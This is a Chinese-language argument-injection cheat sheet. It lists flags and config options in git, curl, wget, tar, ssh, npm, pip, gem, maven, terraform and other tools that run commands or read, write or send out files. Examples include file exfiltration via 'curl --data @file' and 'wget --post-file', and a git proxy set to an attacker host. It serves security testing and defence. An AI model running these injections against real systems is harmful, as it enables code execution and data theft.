参数注入
awk
system
awk
支持 system 命令来执行命令:
$ awk 'BEGIN {system("cmdname arg1 arg2")}' /dev/null
# 执行命令与文件中的行数相同
$ awk 'system("cmdname arg1 arg2")' /path/to/file
如果不能插入空格,可以使用 sprintf 来绕过:
$ awk 'BEGIN{system(sprintf("cmdname%carg1",32))}'
参考:
bundler
bundler install
bundler install 在底层使用 gem
,因此可以重用 gem 的功能来获利。
Gemfile
Gemfile 描述了执行相关 Ruby 代码所需的 gem 依赖项。由于它是一个 ruby 文件,您可以编写任意代码,在运行 bundle install
时执行。
# Gemfile
# 这里的任意代码
system('echo "hola!"')
当运行 bundle install
时,任意的 ruby 代码将被执行。
$ bundle install
hola!
hola!
The Gemfile specifies no dependencies
Resolving dependencies...
Bundle complete! 0 Gemfile dependencies, 1 gem now installed.
gem 依赖项
由于 bundler
使用 gem install
来安装 Gemfile
中指定的依赖项,您可以使用扩展来嵌入任意代码。
# hola.gemspec 文件
Gem::Specification.new do |s|
s.name = 'hola'
s.version = '0.0.0'
s.summary = "Hola!"
s.description = "A simple hello world gem"
s.authors = ["Nick Quaranto"]
s.email = '[email protected]'
s.files = []
s.homepage = 'https://rubygems.org/gems/hola'
s.license = 'MIT'
s.extensions = 'extconf.rb'
end
# extconf.rb
# 这里的任意代码
system('echo "hola!"')
# 构建并推送到 rubygems.org
$ gem build hola.gemspec
$ gem push ./hola-0.0.0.gem
# Gemfile
source 'https://rubygems.org'
gem 'hola'
当运行 bundle install
时,任意的 ruby 代码将被执行。
$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR: Error installing hola-0.0.0.gem:
ERROR: Failed to build gem native extension.
...
hola!
...
参考:
git 依赖项
bundler
的 gem 源之一是包含 gem 源代码的 git 仓库。由于 git 仓库包含源代码,bundler
在安装前会构建它。因此,您可以编写任意代码,在运行 bundle install
时执行。
在 github.com
上创建一个包含以下 hola.gemspec
文件的仓库:
# 这里的任意代码
system('echo "hola!"')
Gem::Specification.new do |s|
s.name = 'hola'
s.version = '0.0.0'
s.summary = "Hola!"
s.description = "A simple hello world gem"
s.authors = ["Nick Quaranto"]
s.email = '[email protected]'
s.files = []
s.homepage = 'https://rubygems.org/gems/hola'
s.license = 'MIT'
end
将仓库作为 git 依赖项添加到 Gemfile
中。
# Gemfile
gem 'hola', :git => 'https://github.com/username/hola'
当运行 bundle install
时,任意的 ruby 代码将被执行。
$ bundle install
Fetching https://github.com/username/hola
hola!
Resolving dependencies...
Using bundler 2.2.21
Using hola 0.0.0 from https://github.com/username/hola (at main@4a4a4ee)
Bundle complete! 1 Gemfile dependency, 2 gems now installed.
参考:
path 依赖项
您可以指定 gem 位于文件系统上的特定位置。相对路径相对于包含 Gemfile
的目录解析。由于 git 仓库包含源代码,bundler
在安装前会构建它。因此,您可以编写任意代码,在运行 bundle install
时执行。
您可以指定 gem 位于文件系统上的特定位置。相对路径相对于包含 Gemfile
的目录解析。
与 :git
选项的语义类似,:path
选项要求相关目录包含 gem 的 .gemspec
,或者您指定 bundler 应使用的显式版本。
因此,您可以使用带有任意代码的 .gemspec 文件或带有原生扩展的构建 gem来获得代码执行。
# Gemfile
# .gemspec 文件位于 vendor/hola 中
gem 'hola', :path => "vendor/hola"
# Gemfile
# vendor/hola 包含 hola-0.0.0.gem 文件
gem 'hola', '0.0.0', :path => "vendor/hola"
当运行 bundle install
时,任意的 ruby 代码将被执行。
$ bundle install
hola!
Resolving dependencies...
Using hola 0.0.0 from source at `vendor/hola`
Using bundler 2.2.21
Bundle complete! 1 Gemfile dependency, 2 gems now installed.
参考:
curl
curl 可用于泄露本地文件或向它们写入任意内容。
# 使用 POST 请求发送本地文件
$ curl --data @/path/to/local/file https://website.com
$ curl -F 'var=@/path/to/local/file' https://website.com
$ curl --upload-file /path/to/local/file https://website.com
# 将响应写入本地文件
$ curl https://website.com/payload.txt -o /path/to/local/file
此外,file:
方案可用于读取或复制本地文件:
# 读取本地文件
$ curl file:///path/to/local/file
# 将本地文件复制到新位置
$ curl file:///path/to/local/file -o /path/to/another/local/file
参考:
find
exec
-exec 选项可用于执行任意命令:
$ find . -name not_existing -or -exec cmdname arg1 arg2 \; -quit
$ find . -exec cmdname arg1 arg2 \; -quit
# 读取文件
$ find /path/to/file -exec cat {} \; -quit
参考:
execdir
-execdir 类似于 -exec
,但指定的命令从包含匹配项的子目录中运行。-execdir
可用于执行任意命令:
$ find . -name not_existing -or -execdir cmdname arg1 arg2 \; -quit
$ find . -execdir cmdname arg1 arg2 \; -quit
# 读取文件
$ find /path/to/file -execdir cat {} \; -quit
fprintf
-fprintf 可用于写入本地文件:
$ find . -fprintf /path/to/file 'arbitrary content here' -quit
参考:
gem
gem build
gemspec
文件是一个 ruby 文件,定义了 gem 中的内容、谁制作了它以及 gem 的版本。由于它是一个 ruby 文件,您可以编写任意代码,在运行 gem build
时执行。
# hola.gemspec 文件
# 这里的任意代码
system('echo "hola!"')
Gem::Specification.new do |s|
s.name = 'hola'
s.version = '0.0.0'
s.summary = "Hola!"
s.description = "A simple hello world gem"
s.authors = ["Nick Quaranto"]
s.email = '[email protected]'
s.files = []
s.homepage = 'https://rubygems.org/gems/hola'
s.license = 'MIT'
end
当运行 gem build
时,任意的 ruby 代码将被执行。
$ gem build hola.gemspec
hola!
Successfully built RubyGem
Name: hola
Version: 0.0.0
File: hola-0.0.0.gem
参考:
gem install
扩展
gemspec
允许您定义在安装 gem 时要构建的扩展。许多 gem 使用扩展来包装用 C 编写的库与 ruby 包装器。gem
使用 extconf.rb
在安装期间构建扩展。由于它是一个 ruby 文件,您可以编写任意代码,在运行 gem install
时执行。
# hola.gemspec 文件
Gem::Specification.new do |s|
s.name = 'hola'
s.version = '0.0.0'
s.summary = "Hola!"
s.description = "A simple hello world gem"
s.authors = ["Nick Quaranto"]
s.email = '[email protected]'
s.files = []
s.homepage = 'https://rubygems.org/gems/hola'
s.license = 'MIT'
s.extensions = 'extconf.rb'
end
# extconf.rb
# 这里的任意代码
system('echo "hola!"')
$ gem build hola.gemspec
Successfully built RubyGem
Name: hola
Version: 0.0.0
File: hola-0.0.0.gem
当运行 gem install
时,任意的 ruby 代码将被执行。
$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR: Error installing hola-0.0.0.gem:
ERROR: Failed to build gem native extension.
...
hola!
...
参考:
git
-c/--config-env
-c/--config-env 将配置参数传递给命令。给定的值将覆盖配置文件中的值。查看 通过 .git/config 滥用 部分以找到可滥用的参数。
滥用 git 目录
git 目录维护与 git 仓库相关的内部状态或元数据。它在用户的机器上创建,当:
用户执行
git init
来初始化一个空的本地仓库用户执行
git clone <repository>
从远程位置克隆现有仓库
git 目录的结构记录在 https://git-scm.com/docs/gitrepository-layout
注意,git 目录通常是但不一定是名为 .git
的目录,位于仓库的根目录。有几个变量可以重新定义路径:
GIT_COMMON_DIR 环境变量或 commondir 文件指定将从中获取非工作树文件的路径,这些文件通常在
$GIT_DIR
中。
注意,裸仓库 根本没有 .git
目录。
参考:
通过 .git/config 滥用
.git/config
允许在每个仓库的基础上配置选项。许多选项允许指定将在各种情况下执行的命令,但其中一些情况仅在用户以特定方式与 git 仓库交互时出现。
至少有以下几种设置选项的方法:
在系统范围内使用 /etc/gitconfig 文件
在全局范围内使用 ~/git/config 或 ~/.gitconfig 文件
在本地每个仓库的基础上使用 .git/config 文件
在本地每个仓库的基础上使用 .git/config.worktree 文件。这是可选的,只有当
.git/config
中存在extensions.worktreeConfig
时才会搜索在本地每个仓库的基础上使用 git -c/--config-env 选项
在本地每个仓库的基础上使用 git-clone -c/--config 选项
core.gitProxy
core.gitProxy 给出一个在使用 git://
协议建立与远程的连接时将执行的命令
$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone -c core.gitProxy="./pwn.sh" git://github.com/user/project.git
Cloning into 'project'...
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
fatal: Could not read from remote repository.
Please make sure you have the correct access rights and the repository exists.
core.fsmonitor
core.fsmonitor 选项用作命令,该命令将标识自请求的日期/时间以来可能已更改的所有文件。
换句话说,git 提供的许多操作将调用 core.fsmonitor
给出的命令,以快速将操作范围限制为已知已更改的文件,以提高性能。
至少以下 git 操作调用 core.fsmonitor
给出的命令:
git status
用于显示有关工作树状态的信息,包括是否有任何文件有未提交的更改git add <pathspec>
用于暂存更改以提交到仓库git rm --cached <file>
用于取消暂存更改git commit
用于提交暂存的更改git checkout <pathspec>
用于检出文件、提交、标签、分支等
对于接受文件名的操作,即使提供的文件名不存在,core.fsmonitor
也会触发。
$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# 更改 core.fsmonitor 以便在调用时向 STDERR 回显消息
$ echo $'\tfsmonitor = "echo \\"Pwned as $(id)\\">&2; false"' >> .git/config
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
fsmonitor = "echo \"Pwned as $(id)\">&2; false"
# git-status
$ git status
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
On branch main
No commits yet
nothing to commit (create/copy files and use "git add" to track)
# git-add
$ touch aaaa
$ git add aaaa
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
$ git add zzzz
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
fatal: pathspec 'zzzz' did not match any files
# git-commit
$ git commit -m 'add aaaa'
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
[main (root-commit) 7c2f2c6] add aaaa
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 aaaa
参考:
core.hooksPath
core.hooksPath 为钩子设置不同的路径。您可以在仓库中创建 post checkout 钩子,使用 hooksPath
设置钩子的路径,并执行任意代码。
$ git clone "<REPO>" target_directory
$ cd target_directory
$ mkdir hooks
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
$ # 提交并推送
要执行 payload,运行 git-clone
:
$ git clone -c core.hooksPath=hooks "<REPO>"
参考:
core.pager
core.pager 指定 Git 命令使用的文本查看器(例如,less)。该值旨在由 shell 解释,可用于执行任意命令。
例如,在以下代码片段中,git-grep
具有 --open-files-in-pager
键,如果参数中未指定值,则使用 core.pager
中的默认分页器:
$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ git -c core.pager='cmdname arg1 arg2 #' grep --open-files-in-pager .
如果分页器值不是由用户直接设置的,则有优先级顺序:
GIT_PAGER
环境变量。core.pager
配置。PAGER
环境变量。编译时选择的默认值(通常是
less
)。
因此,以下代码片段也可用于执行命令:
$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ GIT_PAGER='id #' git grep --open-files-in-pager .
core.sshCommand
core.sshCommand 给出一个在使用 SSH 协议建立与远程的连接时将执行的命令。如果设置了此变量,当它们需要连接到远程系统时,git fetch
和 git push
将使用指定的命令而不是 ssh
。
$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone -c core.sshCommand="./pwn.sh" [email protected]:user/project.git
# 或
$ git clone -c core.sshCommand="./pwn.sh" ssh://github.com/user/project.git
Cloning into 'project'...
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
fatal: Could not read from remote repository.
Please make sure you have the correct access rights and the repository exists.
diff.external
diff.external 给出一个将代替 git 内部 diff 函数使用的命令。
$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone https://github.com/user/project.git
$ cd project
$ git -c diff.external="../pwn.sh" HEAD 480e4c9
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
filter.<driver>.clean 和 filter.<driver>.smudge
filter..clean 用于在提交时将工作树文件的内容转换为 blob。
filter..smudge 用于在检出时将 blob 对象的内容转换为工作树文件。
$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# filter.<driver>.clean 和 filter.<driver>.smudge
# 以便在调用时向 STDERR 回显消息
$ echo $'[filter "any"]\n\tsmudge = echo \\"Pwned smudge as $(id)\\">&2\n\tclean = echo \\"Pwned clean as $(id)\\">&2' >> ./.git/config
# 将过滤器添加到 .gitattributes
$ touch example
$ git add ./example
$ git commit -m 'commit'
$ echo "* text filter=any" > .gitattributes
$ git status
Pwned clean as uid=0(root) gid=0(root) groups=0(root)
On branch master
Untracked files:
(use "git add <file>..." to include in what will be committed)
.gitattributes
nothing added to commit but untracked files present (use "git add" to track)
$ git add .gitattributes
Pwned clean as uid=0(root) gid=0(root) groups=0(root)
$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# filter.<driver>.clean 和 filter.<driver>.smudge
# 以便在调用时向 STDERR 回显消息
$ echo $'[filter "any"]\n\tsmudge = echo \\"Pwned smudge as $(id)\\">&2\n\tclean = echo \\"Pwned clean as $(id)\\">&2' >> ./.git/config
# 将过滤器添加到 .gitattributes
$ echo "* text filter=any" > .gitattributes
$ git fetch
$ git checkout main
Pwned smudge as uid=0(root) gid=0(root) groups=0(root)
Pwned smudge as uid=0(root) gid=0(root) groups=0(root)
Branch 'main' set up to track remote branch 'main' from 'origin'.
Switched to a new branch 'main'
参考:
http.proxy 和 http.<URL>.proxy
http.proxy
或 http.<URL>.proxy
覆盖 HTTP 代理。您可以使用它来获得 SSRF:
$ git clone -c http.proxy=http://attacker-website.com -- "<REPO>" target_directory
$ git clone -c http.http://website.com/.proxy=http://attacker-website.com -- "<REPO>" target_directory
注意其他 http.*
配置和 remote.<name>.proxy
,它们可以帮助增加影响。
参考:
通过 .git/hooks/ 滥用
.git/hooks/ 中的各种文件在某些 git 操作时执行。例如:
pre-commit
和post-commit
分别在提交操作之前和之后执行post-checkout
在检出操作之后执行pre-push
在推送操作之前执行
在区分可执行文件和不可执行文件的文件系统上,只有当相应的文件是可执行的时才会执行钩子。此外,钩子只在给定的用户交互时执行,例如在执行提交时。
例如,您可以使用裸仓库来传递自定义 git 钩子并执行任意代码:
# 克隆或创建仓库
$ git clone "<REPO>" target_directory
$ cd target_directory
# 将子项目添加为裸仓库
$ mkdir subproject
$ cd subproject
$ git init --bare
# 添加恶意钩子
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
# 提交并推送
如果易受攻击的代码对准备好的仓库执行以下 bash 命令,它将触发自定义钩子执行并导致任意代码被执行:
$ git clone -- "<REPO>" "target_directory"
$ cd "target_directory"
$ git checkout "subproject"
参考:
通过 .git/index 滥用
您可以使用精心制作的 .git/index
文件实现任意写入原语,查看公告。
通过 .git/HEAD 滥用
通过损坏 .git/HEAD
可以欺骗 Git 从意外位置加载配置。在这种情况下,Git 开始在当前文件夹中查找仓库,攻击者可以完全控制该文件夹,例如,如果当前文件夹是包含克隆的远程仓库所有文件的工作树。利用流程可能如下:
$ git clone https://github.com/remote/repo.git
$ cd repo
# 创建空文件夹以符合 Git 仓库的预期结构
$ mkdir objects refs worktree
# 创建非空的 HEAD 来伪造有效的引用
$ echo "ref: refs/heads/main" > HEAD
# 使用 core.fsmonitor 准备恶意的配置文件来执行 payload
$ echo "[core]" > config
$ echo "\trepositoryformatversion = 0" >> config
$ echo "\tbare = false" >> config
$ echo "\tworktree = worktree" >> config
$ echo $'\tfsmonitor = "echo \\"Pwned as $(id)\\">&2; false"' >> config
# 损坏 HEAD 文件
$ echo "" > .git/HEAD
# 利用
$ git status
Pwned as uid=501(user)
Pwned as uid=501(user)
On branch main
No commits yet
nothing to commit (create/copy files and use "git add" to track)
参考:
git-blame
--output
git-blame
具有 --output
选项,该选项在手册中没有记录,并且通常出现在其他 git 子命令中。执行 git blame --output=foo
导致有趣的行为:
$ git init
$ git blame --output=foo
usage: git blame [<options>] [<rev-opts>] [<rev>] [--] <file>
<rev-opts> are documented in git-rev-list(1)
--incremental show blame entries as we find them, incrementally
-b do not show object names of boundary commits (Default: off)
# ...
# 注意名为 foo 的新文件的存在
$ ls -la foo
-rw-r--r-- 1 user staff 0 Mar 18 20:18 foo
虽然命令失败了,但创建了一个名为 foo
的空文件。如果同名的文件已经存在,目标文件将被截断。此选项提供任意文件截断原语。例如,攻击者可以使用它来损坏 .git
文件夹中的关键文件,如 .git/HEAD
,并欺骗 Git 从意外位置加载配置,查看 通过 .git/HEAD 滥用 部分。
参考:
git-clone
-c/--config
-c/--config 在新创建的仓库中设置配置变量;这在仓库初始化后立即生效,但在获取远程历史记录或检出任何文件之前生效。查看 通过 .git/config 滥用 部分以找到可滥用的变量。
ext URL
git-clone
允许在 ext
URL 中为远程仓库指定 shell 命令。例如,下一个示例将执行 whoami
命令来尝试连接到远程仓库:
$ git clone 'ext::sh -c whoami% >&2'
参考:
<directory>
git-clone
允许指定一个新目录来克隆到。只有当目录为空时才允许克隆到现有目录中。您可以使用它来将仓库写入默认文件夹之外。
$ git clone -- "<REPO>" target_directory
-u/--upload-pack
upload-pack 指定在通过 ssh 访问要克隆的仓库时在另一端运行的命令的非默认路径。您可以像这样执行任意代码:
$ mkdir repo
$ cd repo
$ git init
$ cd -
$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git clone --upload-pack=payload.sh repo
参考:
git-diff
git-diff 对 /dev/null
git-diff
对 /dev/null
可用于读取文件的整个内容,即使在 git 目录之外。
$ git diff /dev/null /path/fo/file/outside/git/repo
$ git diff /dev/null path/to/file/in/git/repo
参考:
--no-index
--no-index 键可用于将 git-diff
变为对 git 仓库中另一个文件的正常 diff
,该文件不必被跟踪。
$ git diff --no-index local-secret-file.conf git.md
参考:
git-fetch
--upload-pack
--upload-pack 标志可用于执行任意命令。输出不显示,但可以使用 >&2
将输出路由到 stderr。
$ mkdir repo
$ cd repo
$ git init
$ git fetch main --upload-pack='cmdname arg1 arg2 >&2 #'
参考:
git-fetch-pack
--exec
与 --upload-pack
相同。查看下面的部分。
--upload-pack
--upload-pack 标志可用于执行任意命令。输出不显示,但可以使用 >&2
将输出路由到 stderr。
$ mkdir repo
$ cd repo
$ git init
$ git fetch-pack --upload-pack='cmdname arg1 arg2 >&2 #' .
git-grep
--no-index
no-index
告诉 git-grep 搜索当前目录中不被 Git 管理的文件。换句话说,如果工作目录与仓库目录不同,no-index
允许您访问工作目录中的文件。
参考:
-O/--open-files-in-pager
-O/--open-files-in-pager 在 pager
中打开匹配的文件。它可以用于运行任意命令:
$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ git grep --open-files-in-pager='cmdname arg1 arg2 #' .
参考:
git-log
--output
output
定义一个特定的输出文件而不是 stdout。您可以使用它来重写任意文件。
$ git log --output=/tmp/arbitrary_file
$ cat /tmp/arbitrary_file
commit c79538fb19b1d9d21bf26e9ad30fdeb90be1eaf0
Author: User <user@local>
Date: Fri Aug 29 00:00:00 2021 +0000
Controlled content
参考:
git-ls-remote
--upload-pack
--upload-pack 标志可用于执行任意命令。输出不显示,但可以使用 >&2
将输出路由到 stderr。
$ mkdir repo
$ cd repo
$ git init
$ git ls-remote --upload-pack='cmdname arg1 arg2 >&2 #' main
参考:
git-pull
--upload-pack
--upload-pack 标志可用于执行任意命令。输出不显示,但可以使用 >&2
将输出路由到 stderr。
$ mkdir repo
$ cd repo
$ git init
$ git pull main --upload-pack='cmdname arg1 arg2 >&2 #'
参考:
git-push
--receive-pack/--exec
receive-pack or exec 指定远程端 git-receive-pack 程序的路径。您可以像这样执行任意代码:
$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git push --receive-pack=payload.sh username/repo main
# 或
$ git push --exec=payload.sh username/repo main
# 或
$ git push --receive-pack=payload.sh main
maven
在 mvn <PHASE>
执行期间执行任意命令或代码是可能的,通过使用各种插件,如 exec-maven-plugin 或 groovy-maven-plugin。为了在阶段 <PHASE>
期间使用 groovy-maven-plugin
插件执行恶意 payload,您可以使用以下配置:
<plugin>
<groupId>org.codehaus.gmaven</groupId>
<artifactId>groovy-maven-plugin</artifactId>
<executions>
<execution>
<phase><!-- PHASE_HERE --></phase>
<goals>
<goal>execute</goal>
</goals>
<configuration>
<source>
print "cmdname arg1 arg2".execute().text
</source>
</configuration>
</execution>
</executions>
</plugin>
例如,您可以使用以下 pom.xml
文件在 mvn initialize
或 mvn compile
期间执行插件:
<?xml version="1.0" encoding="UTF-8"?>
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>com.mycompany.app</groupId>
<artifactId>my-app</artifactId>
<version>1</version>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.gmaven</groupId>
<artifactId>groovy-maven-plugin</artifactId>
<executions>
<execution>
<phase>initialize</phase>
<goals>
<goal>execute</goal>
</goals>
<configuration>
<source>
print "cmdname arg1 arg2".execute().text
</source>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
参考:
npm scripts
package.json
文件的 scripts 属性支持许多内置脚本及其预设生命周期事件以及任意脚本。所有这些都可以使用 npm run-script 或简写 npm run 执行。
具有匹配名称的 pre 和 post 命令也将为这些运行(例如 premyscript
、myscript
、postmyscript
)。要为 package.json
的 scripts
部分中定义的任何脚本创建 pre 或 post 脚本,只需创建另一个具有匹配名称的脚本并在其开头添加 pre
或 post
。
在以下示例中,npm run compress
将按描述执行这些脚本。
{
"scripts": {
"precompress": "{{ 在 `compress` 脚本之前执行 }}",
"compress": "{{ 运行命令来压缩文件 }}",
"postcompress": "{{ 在 `compress` 脚本之后执行 }}"
}
}
有一些特殊的生命周期脚本只在某些情况下发生。除了 pre<event>
、post<event>
和 <event>
脚本之外,这些脚本也会发生。
prepare
(自 [email protected] 起)在打包之前的任何时候运行,即在
npm publish
和npm pack
期间在包打包之前运行
在包发布之前运行
在没有参数的本地
npm install
上运行在
prepublish
之后运行,但在prepublishOnly
之前运行注意:如果通过 git 安装的包包含
prepare
脚本,其dependencies
和devDependencies
将被安装,并且 prepare 脚本将在包打包和安装之前运行从
npm@7
开始,这些脚本在后台运行。要查看输出,请运行:--foreground-scripts
prepublish
(已弃用)在
npm publish
期间不运行,但在npm ci
和npm install
期间运行
prepublishOnly
在包准备和打包之前运行,仅在
npm publish
上运行
prepack
在打包 tarball 之前运行(在
npm pack
、npm publish
和安装 git 依赖项时)注意:
npm run pack
与npm pack
不同。npm run pack
是任意的用户定义脚本名称,而npm pack
是 CLI 定义的命令
postpack
在生成 tarball 之后但在将其移动到最终目的地之前运行(如果有的话,发布不会在本地保存 tarball)
npm cache add
npm cache add 运行以下生命周期脚本:
prepare
npm ci
npm ci 运行以下生命周期脚本:
preinstall
install
postinstall
prepublish
preprepare
prepare
postprepare
这些都在实际将模块安装到 node_modules
之后运行,按顺序,中间没有内部操作。
npm diff
npm diff 运行以下生命周期脚本:
prepare
npm install
npm install 运行以下生命周期脚本(当您运行 npm install -g <pkg-name>
时也会运行):
preinstall
install
postinstall
prepublish
preprepare
prepare
postprepare
如果在包的根目录中有 binding.gyp
文件并且未定义 install 或 preinstall 脚本,npm
将默认 install
命令使用 node-gyp 通过 node-gyp rebuild
进行编译。
npm pack
npm pack 运行以下生命周期脚本:
prepack
prepare
postpack
npm publish
npm publish 运行以下生命周期脚本:
prepublishOnly
prepack
prepare
postpack
publish
postpublish
prepare
在 --dry-run
期间不会运行
npm rebuild
npm rebuild 运行以下生命周期脚本:
preinstall
install
postinstall
prepare
prepare
只有在当前目录是符号链接时才会运行(例如,使用链接的包)
npm restart
npm restart 运行 restart 脚本(如果已定义),否则如果存在 stop 和 start 都会运行(包括它们的 pre 和 post 迭代):
prerestart
restart
postrestart
npm start
npm start 运行以下生命周期脚本:
prestart
start
poststart
如果在包的根目录中有 server.js
文件,那么 npm
将默认 start 命令为 node server.js
。在这种情况下,prestart
和 poststart
仍会运行。
npm stop
npm stop 运行以下生命周期脚本:
prestop
stop
poststop
npm test
npm test 运行以下生命周期脚本:
pretest
test
posttest
pip
pip install
扩展 setuptools
模块允许您挂钩几乎任何 pip
命令。例如,您可以使用 setup.py
文件中的 install
类在 pip install
运行期间执行任意代码。
from setuptools import setup
from setuptools.command.install import install
class PostInstallCommand(install):
def run(self):
# 在此处插入代码
install.run(self)
setup(
...
cmdclass={
'install': PostInstallCommand,
},
...
)
当运行 pip install
时,将调用 PostInstallCommand.run
方法。
参考:
ssh
authorized_keys 和 id_*.pub
OpenSSH 支持 command 选项,该选项指定每当密钥用于身份验证时执行的命令。
command="cmdname arg1 arg2" ssh-ed25519 AAAAC3Nzblah....
参考:
ssh_config
ssh
从以下来源按以下顺序获取配置数据:
命令行
用户的配置文件
~/.ssh/config
系统范围的配置文件
/etc/ssh/ssh_config
LocalCommand
LocalCommand 指定在成功连接到服务器后在本地机器上执行的命令。以下 ssh_config
可用于执行任意命令:
Host *
PermitLocalCommand yes
LocalCommand cmdname arg1 arg2
参考:
ssh-keygen
-D
ssh-keygen 可以使用 -D
键加载共享库,导致任意命令执行:
$ ssh-keygen -D lib.so
参考:
tar
检查点
检查点 是在将第 n 个记录写入存档(写入检查点)之前,或从存档中读取第 n 个记录之前(读取检查点)的时间点。检查点 允许定期执行任意操作。
$ tar cf archieve.tar --checkpoint=1 --checkpoint-action="exec=echo 'arbitrary payload here'" foo
--to-command
当使用 --to-command 键时,tar
调用命令并将文件的内容通过管道传输到其标准输出,而不是创建指定的文件。因此它可以用于执行任意命令。
# 需要有效的存档文件
$ tar xf file.tar --to-command='cmdname arg1 arg2'
参考:
-I/--use-compress-program
-I/--use-compress-program 用于指定可以滥用来执行任意命令的外部压缩程序命令:
# 不需要有效的存档
$ tar xf /dev/null --use-compress-program='cmdname arg1 arg2'
参考:
terraform
terraform-plan
Terraform 依赖于称为"提供者"的插件来与远程系统交互。Terraform 配置必须声明它们需要哪些提供者,以便 Terraform 可以安装和使用它们。
您可以编写自定义提供者,将其发布到 Terraform Registry 并将提供者添加到 Terraform 代码中。
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
$ terraform init
$ terraform plan
提供者将在 terraform init
期间被拉入,当运行 terraform plan
时,任意的 ruby 代码将被执行。
此外,Terraform 提供 external provider,它提供了在 Terraform 和外部程序之间接口的方式。因此,您可以使用 external
数据源来运行任意代码。来自文档的以下示例在 terraform plan
期间执行 python 脚本。
data "external" "example" {
program = ["python", "${path.module}/example-data-source.py"]
query = {
# 从字符串到字符串的任意映射,传递
# 到外部程序作为数据查询。
id = "abc123"
}
}
参考:
wget
--use-askpass
--use-askpass 指定提示用户和密码的命令。此键可用于执行任意命令,而无需任何参数和 stdout/stderr。
如果未指定命令,则使用环境变量 WGET_ASKPASS
中的命令。如果 WGET_ASKPASS
未设置,则使用环境变量 SSH_ASKPASS
中的命令。此外,可以在 .wgetrc
中设置 use-askpass
的默认命令。
$ wget --use-askpass=cmdname http://0/
参考:
--post-file
--post-file 可用于在 POST 请求中泄露文件。
# 将本地文件发送到远程服务器
# 文件按原样发送
$ wget --post-file=/path/to/file https://website.com/
参考:
-O/--output-document
-o/--output-document 可用于通过 GET 请求下载远程文件并将其保存到特定位置。
$ wget --output-document=/path/to/file https://website.com/file.txt
# 将文件打印到标准输出
$ wget --output-document="-" https://website.com/file.txt
参考:
-o/--output-file
-o/--output-file 指定一个日志文件,用于记录通常报告到标准错误的所有消息。它可以用于将输出写入文件。
# 读取本地文件并将输出写入另一个本地文件
# 只显示非二进制文件,输出是错误日志
$ wget --input-file=/path/to/file --output-file=/path/to/another/file
参考:
-i/--input-file
-i/--input-file 从本地或外部文件读取 URL。此键可用于在错误消息中暴露文件内容:
# 文件内容将显示为错误消息
$ wget --input-file=/path/to/file http://0/
参考:
zip
-TT/--unzip-command
-TT/--unzip-command 用于指定在使用 -T
选项时测试存档的命令。
$ zip archieve.zip /path/to/file -T --unzip-command="cmdname arg1 arg2 #"
参考:
最后更新于